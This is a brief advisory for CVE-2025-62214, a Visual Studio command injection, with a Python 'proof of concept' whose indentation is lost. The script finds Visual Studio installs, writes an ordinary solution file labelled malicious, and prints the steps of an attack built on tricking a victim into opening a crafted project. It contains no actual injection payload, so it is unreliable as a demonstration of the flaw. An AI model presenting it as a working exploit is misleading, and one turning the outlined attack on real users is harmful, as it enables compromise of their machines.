Improper neutralization of special elements used in a command ('command injection') in Visual Studio allows an authorized attacker to execute code locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-62214 PoC - Visual Studio Command Injection
# Note: This is a conceptual PoC for educational purposes only
# Actual exploitation requires specific Visual Studio project/solution file manipulation
import os
import sys
import subprocess
def check_visual_studio_version():
"""Check if Visual Studio is installed and get version"""
visual_studio_paths = [
r"C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\devenv.exe",
r"C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\devenv.exe",
r"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\devenv.exe"
]
for path in visual_studio_paths:
if os.path.exists(path):
print(f"[+] Found Visual Studio at: {path}")
return path
print("[-] Visual Studio not found")
return None
def create_malicious_solution():
"""Create a solution file with malicious command injection payload"""
malicious_content = '''
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31903.59
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestProject", "TestProject.csproj", "{12345678-1234-1234-1234-123456789012}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{12345678-1234-1234-1234-123456789012}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{12345678-1234-1234-1234-123456789012}.Debug|Any CPU.Build.0 = Debug|Any CPU
{12345678-1234-1234-1234-123456789012}.Release|Any CPU.ActiveCfg = Release|Any CPU
{12345678-1234-1234-1234-123456789012}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
EndGlobal
'''
return malicious_content
def exploit_visual_studio(vs_path):
"""
Attempt to exploit CVE-2025-62214
This PoC demonstrates the command injection vulnerability
"""
print("[*] CVE-2025-62214 Visual Studio Command Injection PoC")
print("[*] This PoC is for educational and testing purposes only")
# Create malicious solution file
solution_path = "C:\\Temp\\malicious.sln"
malicious_content = create_malicious_solution()
try:
os.makedirs("C:\\Temp", exist_ok=True)
with open(solution_path, 'w') as f:
f.write(malicious_content)
print(f"[+] Created malicious solution file: {solution_path}")
except Exception as e:
print(f"[-] Failed to create solution file: {e}")
return False
print("[*] In a real attack scenario, the attacker would:")
print("[*] 1. Craft a malicious .sln or .csproj file with command injection payload")
print("[*] 2. Social engineer the victim to open the file with Visual Studio")
print("[*] 3. Trigger build or other operations that process the malicious input")
print("[*] 4. Achieve arbitrary code execution on the local system")
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-62214 Visual Studio Command Injection Vulnerability")
print("CVSS 3.1 Score: 6.7 (Medium)")
print("=" * 60)
vs_path = check_visual_studio_version()
if vs_path:
exploit_visual_studio(vs_path)
else:
print("[-] Visual Studio not detected. Install Visual Studio to test.")